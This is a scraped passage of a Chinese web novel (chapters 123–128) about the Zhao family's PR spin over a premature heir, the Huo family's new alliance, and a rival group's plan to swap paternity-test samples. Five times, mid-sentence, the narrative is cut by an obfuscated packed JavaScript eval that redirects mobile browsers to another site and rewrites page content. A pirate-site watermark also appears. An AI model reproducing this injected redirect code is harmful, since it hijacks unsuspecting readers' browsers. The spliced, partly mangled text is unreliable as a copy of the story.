“我明白。”陈慕白也重重地点头,他整个人都放松了下来,嘴角甚至还勾起了一抹自嘲的笑,“让她去吧。陈家的女儿,不能总是躲在哥哥的身后。” “承熙,”傅清寒的目光最后落在赵承熙身上,“你什么都不用做。调整好你的状态。我需要你出场的那一刻,是以一个胜利者的姿态,而不是一个复仇的疯子。” 赵承熙看着这一幕,心中涌起一股难以言喻的感动。他看着眼前这群人,他们不仅是强大的盟友,更是一群有血有肉、会挣扎、会担忧,但最终总会选择相信和支持家人的朋友。他知道,自己的复仇之路,并不孤独。 他深吸一口气,强行压下心中的躁动,对着傅清寒和陈慕白郑重地点了点头。 “我……知道了。” 傅清寒最后总结道:“很好。那计划不变。等样本拿到后,立刻送回京市,动用军方实验室,以最高级别加密进行鉴定。梁美玲就算想反咬,也得掂量一下,她有没有那个资格去质疑军方的鉴定结果。” —— 与此同时,赵家半山别墅,正经历着一场前所未有的风暴。 梁美玲坐在 空旷而狼藉的客厅里,只觉得太阳穴突突直跳,整个人都处在崩溃的边缘。 先是陈瑶那个小疯子,在家里大吵大闹,最后还来了一出“坠楼血案,把陈慕白和傅清寒那两尊瘟神都招惹了过来,让她不得不低声下气、赔尽笑脸。 她前脚刚把医院那边安抚好,后脚管家就慌慌张张地来报——楚小小被吓得动了胎气,大出血,早产了! “废物!一群废物!她将手中的古董茶杯狠狠地摔在地上,精致的妆容因为愤怒而显得有些扭曲,“一个两个都不让人省心!早不生晚不生,偏偏挑在这个时候! 她气得在客厅里来回踱步,心中烦躁到了极点。 展销会的惨败,股价的雪崩,赵建邦入院后的“恶疾丑闻,董事会那些老家伙们的逼宫……每一件事,都像一座大山,压得她喘不过气来。 可就在这无尽的黑暗和绝望之中,一个念头,却像一道微弱的光,猛地从她脑海里闪过! 早产…… 长孙…… 她猛地停下脚步,眼中那因为愤怒而涣散的瞳孔,重新凝聚起了一丝精明和算计的光芒! 对!长孙!赵家的长孙出世了! 这……或许不是一件坏事! 她立刻意识到,在这个赵家声誉扫地、摇摇欲坠的时刻,“长孙出世这个消息,是她手中为数不多的、甚至可以说是唯一的、能够用来稳定人心、**的救命稻草! 她立刻对管家下令:“备车!去医院!另外,立刻通知公关部,准备新闻稿! 她的声音,重新恢复了那种属于豪门女主人的冷静和狠厉: “稿子的标题就叫——《风雨飘摇,长孙出世定军心!赵氏集团喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771279|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎第四代继承人!》 “我要让全港市的人都知道,我们赵家,不仅没倒,而且后继有人!香火鼎盛! 她要用一个新生的婴儿,去对冲那些关于商业欺诈和私生活糜烂的**!她要用“赵家有后这个噱头,去安抚那些惶惶不安的股东和投资者,给他们画一个未来的大饼! 梁美玲的眼中,重新燃起了希望的火焰。她仿佛已经看到,在自己的运筹帷幄下,赵家的股价因为这个“喜讯而止跌回升,董事会那群老家伙们也因为“第四代继承人的出 现而暂时闭上了嘴。 她立刻赶往医院一边指挥公关团队大肆宣传一边亲自坐镇将楚小小的早产包装成了一场“为家族冲喜”的祥瑞之事。 这是一个险招但也是她现在唯一的选择! 她立刻赶往医院一边指挥公关团队大肆宣传一边亲自坐镇。 在梁美玲强大的财力和公关运作下一场精心策划的“豪门喜事”被迅速推到了公众面前。 港市各大媒体的头版头条很快就被“赵氏集团喜迎第四代继承人”的新闻所占据。新闻稿里楚小小被塑造成了一个“不畏流言、坚强乐观”的贤良儿媳她的早产则被美化成“福星降世 说的域名caixs.com?(请来才小 说 看最新章节 完整章节)为家族冲喜”的吉兆。照片上梁美玲抱着襁褓中的婴儿脸上挂着慈爱而又欣慰的笑容仿佛之前所有的危机都已烟消云散。 这番操作虽然明眼人都知道是作秀但在资本市场上却起到了立竿见影的效果。 赵氏集团那雪崩式的股价竟然真的奇迹般地止跌甚至还迎来了小幅度的回升!一些投机者和不明真相的散户开始相信赵家或许真的能凭借这波“喜气”转危为安。 这个结果让梁美玲一直紧绷的神经终于得到了一丝喘息。她看着那微微上扬的红色K线嘴角的笑意愈发得意。 她觉得自己又一次掌控了局面。 第124章 楚小小秀茶艺,梁美玲画大饼 而赵宇轩,在得知自己“当了爹”,而且这个“喜讯”还成功挽救了股价后,更是欣喜若狂! 他连日来因为展销会失败而积攒的颓丧和暴躁,一扫而空! 赵宇轩冲进产房,隔着保温箱,看着里面那个皱巴巴的、像小老鼠一样的婴儿,脸上是前所未有的兴奋和骄傲。 “儿子!我赵宇轩有儿子了!” 他这段时间所遭受的所有**、嘲笑和失败,在看到这个孩子的瞬间都一扫而空! 他现在不仅是赵氏集团的副总裁,更是一位“父亲”,是赵家第四代继承人的缔造者! 展销会的失败算什么?不过是一时挫败! 他心中一个声音在疯狂叫嚣:只要我是赵家唯一的正统血脉,只要我有了继承人,这个庞大的商业帝国,迟早都是我的!那些老家伙们,还有什么资格对我指手画脚? 这个全新的身份,让他那膨胀到极点的虚荣心得到了巨大的满足。 他转身,握住病床上楚小小的手,激动地说道:“小小,你辛苦了!你可是我们赵家最大的功臣!” 而病床上的楚小小,虽然因为早产而面色苍白、身体虚弱,但心里却是前所未有的得意和扬眉吐气。 她终于生下了这个心心念念的“宝贝儿子”! 她看着赵宇轩那副兴奋的模样,又看了看窗外那些闻风而来的记者,知道自己“母凭子贵”的时刻,终于到来了。 她没有像泼妇一样大吵大闹地索要名分,而是将“茶艺”发挥到了极致。 当赵宇轩握着她的手,激动地说着“小小,你辛苦了,你可是我们赵家的大功臣!”,楚小小只是虚弱地摇了摇头,眼眶微微泛红,声音里带着无限的委屈和“懂事”。 “宇轩哥,我不辛苦。只要能为你生下儿子,我受再多苦都愿意。”她说着,眼泪恰到好处地滑落,“只是……只是我心里害怕。现在外面都在传我的闲话,说我……说我肚子里的孩子来路不明。我怕……我怕会影响到你和赵家的声誉。” 她一边说,一边用一种极其依恋和信任的眼神看着赵宇轩,将自己塑造成了一个“深爱丈夫、却被流言蜚语伤害”的柔弱小女人。 “我什么名分都不要,我也不求什么。我只求……只求宇轩哥你能相信我 ,相信这个孩子,是你的亲生骨肉。只要你信我,我就心满意足了。” 这番以退为进的“茶言茶语”,瞬间就击中了赵宇宇轩那点可怜的大男子主义! “谁敢乱说?!我看他们是活腻了!”赵宇轩立刻拍着胸脯保证,“小小你放心!你是我赵宇轩的女人,我的儿子,就是赵家名正言顺的长孙!谁也改变不了!等满月宴那天,我就……” 他正想脱口而出“给你一个名分”的承诺,一个温和却不容置喙的声音,从门口传了过来。 “哎哟,小小,妈来看你了!” 梁美玲提着一个爱马仕的铂金包,脸上挂着慈爱到近乎融化的笑容,款款地走了进来。她看都没看自己的儿子,径直走到保温箱旁,隔着玻璃,满眼疼爱地看着里面那个小小的婴儿。 “真是个有福气的孩子,一出生就给我们赵家带来了好运气。宇轩啊,你可得好好谢谢小小,她可是我们家的大功臣。”她的声音温柔得能滴出水来。 楚小小听到这话,心中一喜,梁美玲这个老女人承认自己儿子是有福气的,那赵家少奶奶的身份岂不是板上钉钉了? 她脸上立刻换上了更柔顺谦卑的表情,对着梁美玲说道:“妈,这都是我应该做的。能为宇轩哥、为您生下赵家的长孙嫡孙,是我的福气。” 她的声音带着产后的虚弱,却字字清晰,刻意在“嫡孙”两个字上,加了微不可查的重音。 梁美玲是何等人物?她自己就是从见不得光的“偏房”一路斗上来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771280|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对这些字眼里的机锋,比谁都敏感。她几乎在瞬间就听出了楚小小话里藏着的钩子。 她心中冷笑一声:嫡孙?小丫头片子,刚生了个儿子就想一步登天了?跟我玩这套,你还嫩了点。 但梁美玲面上却不动声色,反而笑得更加慈爱。她走到床边,亲**拉起了楚小小的手,轻轻地拍了拍,那姿态,像是在对待自己最疼爱的亲生女儿。 “好孩子,辛苦你了。”她看着楚小小,语气放得更柔,又带着一丝恰到好处的“心疼”。她叹了口气,“哪个女人不想让自己生的孩子,名正言顺,成为真正的‘嫡长子’呢?妈也是女人,妈都懂。” “可是小小啊,你要明白,宇轩他不是普通人,我们赵家也不是普通家庭。他肩上 扛着的,是整个赵氏集团的未来。现在集团正处在风雨飘摇的时候,他需要的是一个能在事业上助他一臂之力、家世背景都能为他增添筹码的妻子。一个能让他这个‘父亲’的地位,和他儿子的‘嫡孙’地位,都变得无可争议的强大助力。 “所以啊,孩子,她的手在楚小小的手背上重重地拍了拍,像是在托付,又像是在敲打,“为了宇轩的未来,为了我们赵家的将来,甚至……为了你儿子将来能继承一个更庞大的商业帝国,这个‘少奶奶’的位置,我们只能暂时委屈你了。 她看着楚小小那瞬间变得煞白的脸,立刻又抛出了一个巨大的、无法拒绝的“甜枣: “但是你放心!她的语气变得无比郑重和承诺,“你永远是宇轩第一个女人,也是我孙子的亲生母亲!这一点,谁也改变不了!只要你安分守己,好好地把我的孙子带大,我保证,将来无论是哪个女人进门也必须敬你三分!在这个家里,除了我,就属你最大! “将来,等宇轩把眼前的事解决了,彻底掌控了集团,地位稳固了……到时候,谁是正室,谁是偏房,还不都是我们自己说了算? 第125章 你不体面,我们帮你体面 画饼! 她脑子里瞬间就冒出了这两个字! 她当然知道梁美玲是在画饼!这些话,跟当初傅向阳的母亲哄骗她时说的,何其相似!什么“委屈你了”、“以后再补偿你”……全都是上位者为了安抚工具人而说出口的、一文不值的漂亮话! 她甚至能预见到,一旦真的有正经夫人进了门,凭借和赵家相匹配的娘家势力,自己和儿子只怕会被啃得连骨头渣子都不剩! 她低下头,死死地咬着自己的嘴唇,指甲几乎要嵌进肉里,一言不发。 梁美玲看着她那副虽然顺从、却难掩不甘的神情,心中冷笑一声。她知道,光画饼还不够,还必须加上一记响亮的“耳光”,才能让这个小丫头彻底认清自己的位置。 她脸上的笑容不变,语气却忽然变得有些意味深长,像是在闲聊,又像是在敲打: “小小啊,你也别觉得委屈。” 她伸出手,轻轻地帮楚小小理了理鬓边的碎发,动作亲昵,说出的话却冰冷刺骨: “你要知道,瘦死的骆驼比马大。我们赵家就算现在遇到了点小麻烦,但只要这块金字招牌还在,想给宇轩生孩子的名媛、明星,能从我们家门口排到中环去。” 楚小小的身体,猛地一僵! 只听梁美玲继续用那种温柔的、仿佛在分享什么人生经验的语气说道: “你的这个孩子,好就好在,他来得时机刚刚好,是我们赵家现在最需要的‘喜气’。而且,他也是宇轩的第一个孩子,占了一个‘长’字,意义非凡。所以,我们看重他,也看重你这个当妈的。” 她的声音忽然一顿,脸上的笑容也淡了几分,那双保养得宜的眼睛里,透出一丝毫不掩饰的、冰冷的警告: “可是,孩子可以有很多个。如果你自己不‘体面’,非要闹得大家都不好看……那我们赵家,有的是办法,让你‘体面’。” 这句轻飘飘的“让你体面”让楚小小心里一震, 她猛地抬起头,对上了梁美玲那双含笑的、却毫无温度的眼睛。她在那双眼睛里,看到了威胁,看到了警告,看到视人命如草芥的冷酷! 她瞬间就明白了这句话的含义。如果她不听话,她很可能就会像赵承熙一样,因为某个“意外”而“病逝”,孩子 自然也就落在他们手里,成为工具。 一股彻骨的寒意,从她的尾椎骨,瞬间窜上了天灵盖! 反抗,只有死路一条。 她现在所有的依仗,都只有怀里这个刚刚出生的、皱巴巴的婴儿。她没有任何资本,去和梁美玲、去和整个赵家抗衡。 她抬起头,脸上所有的不甘都消失不见,取而代之的是一副被彻底“点醒”了的、甚至带着几分感激的恭顺。她挤出一个比之前任何时候都更真诚的笑容,眼中含着泪,声音哽咽地说道: “……妈,谢谢您。谢谢您点醒我。是我糊涂了,是我太自私了,只想着自己,没为您和宇轩哥、为整个赵家着想。” 她深吸一口气,像是做出了最郑重的承诺: “您放心,我明白了。为了宇轩哥,为了赵家,也为了孩子将来能有一个更好的前程,我……我愿意等。无论等多久,我都愿意。” “这才乖嘛。”梁美玲终于露出了满意的笑容。这个蠢女人以为自己可以母凭子贵,也不瞧瞧自己的德行。 然而她没注意到楚小小低下头,眼中的寒光。 自己就真的只能任人宰割吗? 不! 楚小小被逼入绝境后,在心底反而冒出狠厉。 她现在必须顺从。她要用自己的“懂事”和“委屈”,来麻痹梁美玲,让自己和儿子能安然无恙地活下去。这个“饼”,哪怕是**,她也得含着笑,先吃下去。 只要赵宇轩只有这一个儿子,那她的儿子,就是赵家唯一的血脉! 就算将来有女人嫁了进来又怎么样?她能生下来吗? 楚小小的眼中,产后虚弱的脸上闪过一丝阴狠。 到时候,自己有的是办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771281|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法,让她生不下来!即便生下来,也别想养大! 只要自己的儿子是独苗,那无论正室是谁,她这个亲生母亲,早晚都能熬成“皇太后”! 她梁美玲自己不就是这么上位的吗? 想到这里,她压下心中的不甘和**,吃得苦中苦方为人上人,自己一定要忍。 梁美玲看着楚小小那副大彻大悟“想通了”的模样,终于露出了满意的笑容。她轻轻拍了拍楚小小的手,像是在安抚一只终于被驯服的宠物。 “这才乖嘛。” 她站起身,重新恢复了那副高高在上的豪门主母姿态,对着一旁全程目睹了这一切、早已心领神会的赵宇宇轩说道: “宇轩,既然小小这么懂事,我们也不能亏待了她和我们的长孙。 “去!通知下去!下个月初八,我们赵家,要为我的宝贝孙子,举办一场全港最盛大、最奢华的满月宴! “我要让所有人都看看,我们赵家不仅没有倒下,反而人丁兴旺,喜事连连!我要让那些看我们笑话的人,全都把嘴给我闭上! 这既是对楚小小的安抚和奖赏,更是对外界的一次强硬宣告! 赵宇轩闻言大喜,立刻点头哈腰地应下:“是!妈!您放心,我一定办得风风光光,让所有人都羡慕我们! 他仿佛已经看到,在盛大的满月宴上,自己抱着儿子,接受着全港名流的祝贺,那些股东和元老们再也不敢对他指手画脚的场景。 —— 就在赵宇轩沉浸在人生“狂喜和事业可预测的“转机中时,港市的另一端,霍家的家族会议上,长长的红木会议桌旁,座无虚席。 一位之前最支持与赵家联姻的元老董事,将一份印着赵家“喜讯的报纸重重地拍在桌上,花白的胡子气得一抖一抖: “荒唐!简直是荒唐至极!那个赵宇轩,前脚刚来我们家,信誓旦旦地说要娶思晴,后脚就跟外面不清不楚的女人,搞出了一个私生子!他把我们霍家当什么了?把我们思晴当什么了?! 第126章 以玉为信 “是啊!幸亏当初思晴坚持,让我们看看再说!这要是真结了亲,我们霍家上百年的清誉,都要被他们这对腌臜的母子给玷污了!”另一位董事也满脸后怕地附和道。 霍思晴坐在主位上,神情清冷地听着众人的议论。她端起面前的青瓷茶盏,轻轻吹了吹浮沫,袅袅的茶香让她那颗因愤怒而紧绷的心,稍稍松弛了一些。 恶心! 一想到赵宇轩那张油腻的脸,她就感到一阵生理性的反胃。但更多的,是一种劫后余生的庆幸。她庆幸自己的坚持,更庆幸……在最关键的时候,遇到了“凝悦”那群人。 她放下茶杯,清冷的目光扫过全场,声音不大,却决断得令人信服:“各位叔伯,既然大家已经看清了赵家的真面目,那我们霍家,也该做出选择了。” “我提议,立刻起草与‘凝悦’的深度战略合作协议。我们霍家,愿意拿出最大的诚意,包括但不限于内地所有的销售渠道、以及我们最核心的几款古方专利,与‘凝悦’进行资源共享。” 这一次,再也没有人提出异议。所有董事都点头称是,眼中满是赞同。 霍思晴顿了顿,又补充了一句,像是在为这件事画上一个句号: “另外,下个月初八,赵家的满月宴,我们霍家……一个人都不会去。从今天起,我不想再在任何场合,听到关于赵家的任何事。” 霍思晴这番斩钉截铁的话,为霍家与赵家那段纠缠不清的过去,画上了一个决绝的句号。整个会议室里,响起了赞同的、如释重负的掌声。 会议结束后,霍思呈回到自己的书房。她给自己泡了一壶上好的龙井。 她需要冷静。 与“凝悦”合作,是她力排众议做出的决定。如今虽然证明了她的正确,但接下来的谈判,才是真正的考验。她要争取的,不仅仅是商业上的利益,更是一种平等的、能与对方长久走下去的盟友关系。 她思虑再三,拿起电话,亲自拨通了陈慕白留在港市的号码。 电话很快被接通,那头传来陈慕白温润带着笑意的声音:“霍小姐,下午好。” “陈先生,”霍思晴开门见山,声音清冷而又干脆,“我代表霍氏药业,正式向‘凝悦’发出合作邀请。希望能在下周,与贵方团队进 行一次初步会谈。” 电话那头的陈慕白似乎对这个结果毫不意外。他轻笑了一声语气里是恰到好处的赞赏:“霍小姐果然是雷厉风行。我们随时恭候。相信我们的合作会是一个双赢的开始。” 敲定了合作的大方向霍思晴心中的一块大石落了地。为了显示诚意和隆重她主动提议道:“初步商谈结束后我建议在下个月底我们两家共同举办一场盛大的战略合作签约发布会。届时当着全港媒体的面正式签署所有合作协议。” 她要用一场真正的强强联合来告诉全港市谁才是真正有未来的选择。 “这个提议非常好。”陈慕白欣然同意。 电话里的气氛因为合作的敲定而变得轻松了许多。就在霍思呈以为通话即将结束时陈慕白却貌似不经意提起了了新的话题: “霍小姐说起来我还要替凝凝再次感谢你们。她这几天一直在研究那块‘鸾凤佩’”他顿了顿仿佛在斟酌词句“她说那块古玉的玉质和其中蕴含的能量场非常独特对她研究的中医古法针灸有极大的启发。尤其是在为霍老爷子治疗时它起到的辅助作用更是让她对‘医武同源天人感应’这些古籍中的理论有了全新的认识。” 虽然陈慕白语气随和带着几分学术探讨意味 霍思晴的心猛地一跳。 他们是不会轻易开口的既然提了那这块“鸾凤佩”就是她能与他们建立超越商业合作更深层次的“人情”关系的关键! 想通了这一点她一向强势精明的脸上缓缓绽开了极淡的笑意。“原来如此。能对白医生的研究有所帮助是这块玉佩的荣幸。” 她顺着陈慕白搭好的台阶给出了一个让对方无法拒绝的、充满诚意的承诺: “这样吧陈先生。为了表达我们霍家对白医生救命之恩的感谢也为了支持她的医学研究。我决定在下个月的签约发布会上我们霍家将备上一份特别的谢礼——就将这块‘鸾凤佩’正式赠予白医生。希望它能在白医生手中发挥出比作为一件传家宝更大的价值。” 电话那 头沉默了片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771282|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻。 随即传来陈慕白一声带着真切笑意的、轻松的赞叹。 “霍小姐高义。我代凝凝先谢过了。” 挂了电话霍思呈靠在椅背上长长地舒了一口气。她看着窗外维多利亚港的璀璨夜景心中却不像表面那么平静。 她在复盘刚才与陈慕白的对话。 陈慕白那番关于“鸾凤佩”的话看似不经意实则充满了试探。她知道如果换做是别人哪怕是港市任何一个豪门的掌权人敢如此旁敲侧击地觊觎她霍家的传家之宝她定然会立刻警惕起来认为对方居心叵测别有所图。 但奇怪的是当这个提议从陈慕白的口中说出时她心中虽然有过一瞬间的惊讶却并没有产生太多的反感。 她的脑海里不由自主地浮现出那群人的模样。 那个清冷矜贵、医术通神的白凝凝;那个永远像座冰山一样、却将所有温柔都给了妻子的傅清寒;还有这个谈笑风生间便能运筹帷幄、决胜千里的陈慕白…… 他们每一个人都强大、自信且有着一种发自骨子里的、不屑于**阴谋诡计的磊落。他们想要一样东西哪怕是旁敲侧击也会让你觉得这似乎是那件东西的荣幸。 她忽然想起了赵承熙。 她想起了那个温润如玉、与她惺惺相惜的男人。她相信如果承熙还在也一定会愿意和这样的人成为朋友而不是与赵宇轩那种人为伍。 她甚至还记得有一次两人在半山品茶时她曾拿出“鸾凤佩”给他看还半开玩笑说:“这块玉佩温润通透 那时的话语还言犹在耳如今却已是物是人非。 霍思晴的眼眶微微有些发酸。她将脑海中那张温和的笑脸挥去承熙已经不在了。 或许将这块承载着太多过往的“鸾凤佩”交给白凝凝这位真正的救命恩人才是它最好的归宿。让一件死物在真正懂它的人手中发挥出比作为一件蒙尘的传家宝更大的价值。 既是对过去的告别也是对新开始的迎接。 想通了这一点她心中最后一点疑虑也烟消云散。她第一次觉得自己做出的这个决定不仅仅是为了商业利益更是出于直觉纯粹的信任。 霍家的未来或许真的能在她的手中迎来一个新的开始。 第127章 计划更新 霍家旗帜鲜明地倒向“凝悦”的消息,很快就通过苏文赫的情报网,传回了安全屋。 别墅里,一扫连日来的紧张凝重,气氛难得地轻松起来。 “太好了!”陈慕白看着情报,脸上露出了由衷的笑容,“霍家这步棋走得聪明。霍小姐承诺在签约发布会上,将‘鸾凤佩’作为谢礼。这份诚意,足够了。有了他们的渠道和人脉,‘凝悦’在港市和海外的市场,算是彻底打开了!” 对陈慕白来说,这标志着商业布局的大获全胜。 赵承熙也松了一口气。他与霍家的联姻虽是家族之命,但对霍思晴本人,他除了欣赏,还有一份深埋心底、说不清道不明的情愫。他最不愿看到的,就是霍家被赵宇轩那个蠢货拖下水。现在霍思晴能稳住局面,做出最正确的选择,他比谁都感到欣慰。 而白凝凝,则是发自内心地感到喜悦。她轻抚着小腹,感受着腹中胎儿平稳的律动。霍家愿意赠予“鸾凤佩”,意味着她终于可以不再受灵力不济的困扰,她和孩子的安全,有了最坚实的保障。这是关乎性命的头等大事。 就在所有人都欢欣的时候,苏文赫拿着几份制作精美的烫金请柬,脸色古怪地走了进来。 “看看,我们这位‘赵太后’,又在唱哪一出?”他将手中的请柬扔在桌上,语气里充满了嘲讽。 众人拿起请柬,只见封面上赫然印着“赵府麒麟儿满月之喜”的字样。内页更是极尽奢华,宣布将于下月初八,在君悦酒店举办全港最盛大的满月宴,并邀请苏家及港市各界名流莅临。 “满月宴?”苏文赫拿起请柬,只觉得荒谬又可笑,“都到这种时候了,不想着怎么填补亏空,安抚股东,还有心情办满月宴?梁美玲这是疯了吗?” “她没疯。”一直沉默的赵承熙,眼中闪过一丝冰冷的了然,“她这是在用一场虚假的繁荣,来**,稳定军心。更是想用一个所谓的‘第四代继承人’,来巩固赵宇轩那岌岌可危的地位。” “这女人,倒是有点手段。”白凝凝也不得不承认,梁美玲这一招虽然无耻,却也精准地抓住了资本市场和人心浮动的弱点。 众人正议论着梁美玲此举的意图,只有傅清寒,从拿起那张请柬开始,就一言不发。 他修长的手 指 他的目光落在了“满月之喜”和“第四代继承人”这两个词上。 忽然他那敲击着桌面的手指停了。 他缓缓地抬起头那张波澜不惊的脸上嘴角勾起了一抹极淡的弧度。 “我们之前的计划太麻烦了。” 此言一出房间里所有人都愣住了。 “麻烦?”陈慕白有些不解地看着他“清寒你的意思是……?” 傅清寒看着众人那一脸茫然的表情嘴角的弧度更深了。他走到凝凝身边极其自然地将手搭在她的肩上用一种闲聊般的语气缓缓地剖析着: “我们之前的计划是派人潜入或者让瑶瑶冒险去拿样本我们自己送去鉴定。这个办法可行但不够完美。” “为什么?”赵承熙立刻追问他现在复仇心切任何能加快进程的办法他都想尝试。 傅清寒的目光扫过众人声音平静而又充满了洞察力他没有直接回答而是反问道:“如果在满月宴上你拿着一份我们自己做的鉴定报告冲上台去指证赵宇轩的身世梁美玲会怎么做?” 众人一愣随即陷入了沉思。 陈慕白最先反应过来他推了推眼镜一针见血地说道:“她会立刻反咬一口说我们为了**而‘伪造证据’。然后她会攻击我们样本来源的‘非法性’甚至质疑我们找的鉴定机构的‘公正性’。她会用尽一切办法把水搅浑将一场事实的审判变成一场无法辨别真伪的口水战。” “没错。”傅清寒赞许地点了点头继续引导着众人的思路“那样虽然也能赢但赢得不够干脆不够彻底。它给了敌人太多狡辩和挣扎的空间。而真正的胜利是要让敌人无话可说死得明明白白。” 他将那张满月宴的请柬重新拿在手中随意把玩着: “梁美玲想用这场满月宴来**证明她赵家‘血脉纯正后继有人’。她既然要演这场戏那我们就帮她把这场戏……演得更逼真一点。” “我们不需要陈瑶再冒险了。她现在在医院里是受害者也是梁美玲不敢轻易得罪的人质她的任务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771283|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经完成了。 傅清寒的声音变得冰冷,“我们要用的是,让梁美玲亲手拿出赵赵宇轩和赵建邦的亲子鉴定。 所有人一楞,亲手?这就是梁美玲最大的软肋和秘密,这怎么可能? 傅清寒却只是一笑,目光转向苏文赫,“文赫,从现在开始,我们分两步走。 苏文赫立刻正襟危坐,神情专注。 “第一步,傅清寒伸出一根手指,“我要让那家全港最权威、销量最高的财经杂志,刊登一篇关于展销会的深度调查报道。详细‘披露’赵家是如何通过商业间谍手段,窃取‘凝悦’的商业机密,最终却因为技术不过关而自食恶果的‘真相’。我要先在商业道德的层面上,把他们‘小偷’的身份给我坐实了! 陈慕白闻言,眼睛一亮。这招高明!先用最权威的媒体,给赵家的失败定性——不是能力不行,而是人品不行,是小偷!这比任何单纯的商业打击都更能摧毁一个百年家族的根基。 “第二步,傅清寒的嘴角勾起一丝冰冷的弧度,“在这篇报道闹得最凶的时候,让你手下的八卦周刊立刻跟上!稿子的角度要刁钻,要能挑动所有人的八卦神经! 他顿了顿,一字一句地说出了那个诛心的标题: “就叫——《从窃取配方到“窃取血脉?赵家豪门惊天骗局大起底!》 “你是要……陈慕白惊呼,“直接掀桌子吗?办法是好,但梁美玲心里有鬼,她不接招怎么办?我们也不能强迫他们去做亲子鉴定。 傅清寒摇头,“文章内容,说的不是找建邦和赵宇轩,而是要深扒楚小小在京城的‘黑历史’,把她如何挖空心思接近傅向阳的事迹添油加醋地写出来。我们要让大家觉得一个连商业配方都敢偷的家族,一个为了嫁入豪门有诸多‘前科’的母亲,一个在家族最大危机时刻‘恰好’早产的婴儿……这个所谓的‘长孙’,会不会是赵家为了挽救股价,继‘窃取配方’之后,上演的又一出‘狸猫换太子’的惊天骗局? “可是楚小小的孩子就是赵宇轩的怎么办?苏文赫惊呼。 然而此时陈慕白已经反应过来,“文赫,你别急,听清寒把话说完。 第128章 梁美玲被逼上梁山 “所有收到满月宴请柬的人,在参加宴会之前,心里都有所怀疑。那梁美玲会怎么做?” “她会证明清白。”苏文赫接话。 “没错。”傅清寒点了点头,“梁美玲现在就像一个输红了眼的赌徒,她把最后的希望,都压在了这个‘长孙’身上。面对‘血统’的质疑,她唯一的选择,就是做亲子鉴定!而且必须是公开的、权威的,才能堵住所有人的嘴!” “我们要做的,是想办法在半路上,将她送去鉴定的、那个新生儿的样本,换成我们早就准备好的赵建邦的样本。” 苏文赫、赵承熙都被傅清寒的话震得说不出话来!陈慕白失声道:“那就是说,她自己做出来的亲子鉴定其实是赵建邦和赵宇轩的!” “没错。但她以为自己得到的是一份让证明赵宇轩与‘新生儿’的‘父子关系成立’的报告。她会认为自己洗脱了嫌疑,会拿着这份报告,在满月宴上当众‘自证清白’。大肆证明他们血脉纯正。” “到那时,”傅清寒的眼中,闪过一抹冷笑,“我们再抛出那段‘样本替换’的视频证据。” “她当着全港市名流和媒体的面,亲口承认这份报告的‘真实性’,再亲眼看着这份‘真实’的报告,变成证明赵宇轩是赵建邦的种!她以为的血脉纯正的证明将成为是她与小叔子赵建邦**、更证明了她儿子赵宇轩不过是个是野种的铁证!” 他唇角微勾:“这,就叫做‘以彼之矛,攻彼之盾’。” 话音落下,整个安全屋里,落针可闻。 —— 第二天,港市的天,变了。 最权威的《港岛财经周刊》的封面,刊登了一篇名为《“世纪奇迹”还是“世纪骗局”?——揭秘赵氏集团窃取商业机密始末》的深度调查报道。 